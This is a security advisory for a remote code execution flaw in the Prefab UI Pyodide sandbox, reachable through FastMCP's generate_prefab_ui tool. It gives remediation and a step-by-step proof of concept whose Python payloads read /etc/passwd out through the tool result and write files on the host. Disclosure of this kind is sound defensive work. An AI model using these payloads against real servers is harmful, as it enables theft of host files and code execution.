Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno Prefab UI versions 0.14.0 through 0.20.2 run caller-supplied Python in a Pyodide sandbox with unrestricted Deno --allow-read, --allow-write and --allow-net permissions, letting code submitted through FastMCP's generate_prefab_ui tool read and write host files as the server OS user, according to a published advisory. The flaw scores CVSS 10.0 when the FastMCP server has no authentication and 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) for an authenticated tool caller; on 0.20.2 the write was used to plant a .pth file in the server virtualenv's site-packages that executed on the next Python process. Prefab UI 0.21.0 fixes the issue by revoking Deno filesystem read, filesystem write and network permissions after startup, before the sandbox accepts code. Summary summary Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno Component component prefab-ui github.com/PrefectHQ/prefab Affected versions affected-versions = 0.14.0, < 0.21.0 Description description Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, which is Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including UI written by a model. PyodideSandbox. start in src/prefab ui/sandbox/ pyodide.py starts that process with unrestricted --allow-read , --allow-write , and --allow-net . The runner in src/prefab ui/sandbox/runner.js leaves the Deno API on the JavaScript global object. Pyodide's js module proxies that global, so the Python can call Deno.readTextFileSync and Deno.writeTextFileSync on the host. The runner comment and the public docs describe this process as read-only. The usual remote path is FastMCP's GenerativeUI provider. It registers the MCP tool generate prefab ui and forwards the tool's code argument into this sandbox. There is no extra check on that tool. On a FastMCP server with no authentication configured, any client who can reach the server can call it. With authentication, any client allowed to call tools can. The 10.0 score is the unauthenticated case. The same bug with an authenticated tool caller scores 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H . Generative UI is opt-in, and the host must have Deno installed. Servers that never execute untrusted code in this sandbox are not exposed. A caller who can submit the code can read and write files as the server OS user. On prefab-ui 0.20.2 the same write was used to plant a .pth file in the server virtualenv's site-packages , and the next Python process that used that environment ran the planted import. The sandbox shipped in 0.14.0 with those Deno permissions, and they were still present in 0.20.2. prefab-ui 0.21.0 revokes read, write, and network permission after startup, before it accepts code. PoC poc Step 1 - Install the vulnerable release Deno must be on PATH . The sandbox does not start without it. pip install 'prefab-ui==0.20.2' 'fastmcp apps ' Step 2 - Start a FastMCP server with Generative UI and no authentication python from fastmcp import FastMCP from fastmcp.apps.generative import GenerativeUI mcp = FastMCP "poc" mcp.add provider GenerativeUI mcp.run transport="http", host="127.0.0.1", port=8127 Step 3 - Call generate prefab ui The read returns the host file inside the rendered text. The write creates /tmp/prefab-ui-sandbox-proof.txt . python import asyncio from fastmcp import Client READ = """ import js from prefab ui.components import Text secret = js.Deno.readTextFileSync "/etc/passwd" leak = Text "EXFIL BEGIN" + secret + "EXFIL END" """ WRITE = """ import js from prefab ui.components import Text js.Deno.writeTextFileSync "/tmp/prefab-ui-sandbox-proof.txt", "owned\\n" done = Text "write-ok" """ async def main : async with Client "http://127.0.0.1:8127/mcp/" as client: print await client.call tool "generate prefab ui", {"code": READ} await client.call tool "generate prefab ui", {"code": WRITE} asyncio.run main Step 4 - Confirm the host file cat /tmp/prefab-ui-sandbox-proof.txt Expected output on prefab-ui 0.20.2. The tool result contains the host passwd file between the markers, and the new file is on the host: EXFIL BEGIN User Database ... root: :0:0:System Administrator:... EXFIL END owned On prefab-ui 0.21.0 or later, the same read and write fail with a Deno permission error and do not return or create the host file. Vulnerability Mitigations vulnerability-mitigations Upgrade prefab-ui to 0.21.0 or later. After the runtime and Prefab sources load, the runner revokes Deno filesystem read, filesystem write, and network permission before it accepts generated code. The process is started with --no-prompt , so a later permission request cannot grant them again, and bootstrap network access is limited to cdn.jsdelivr.net:443 . FastMCP servers that register GenerativeUI pick up the fix by running that prefab-ui release. The change is https://github.com/PrefectHQ/prefab/pull/538 https://github.com/PrefectHQ/prefab/pull/538 , commit 030f074f85e0b1be0dd44b0283185aecb26337a2, released on 2026-10-26 as v0.21.0. Until the upgrade, do not register GenerativeUI on a server that untrusted clients can reach.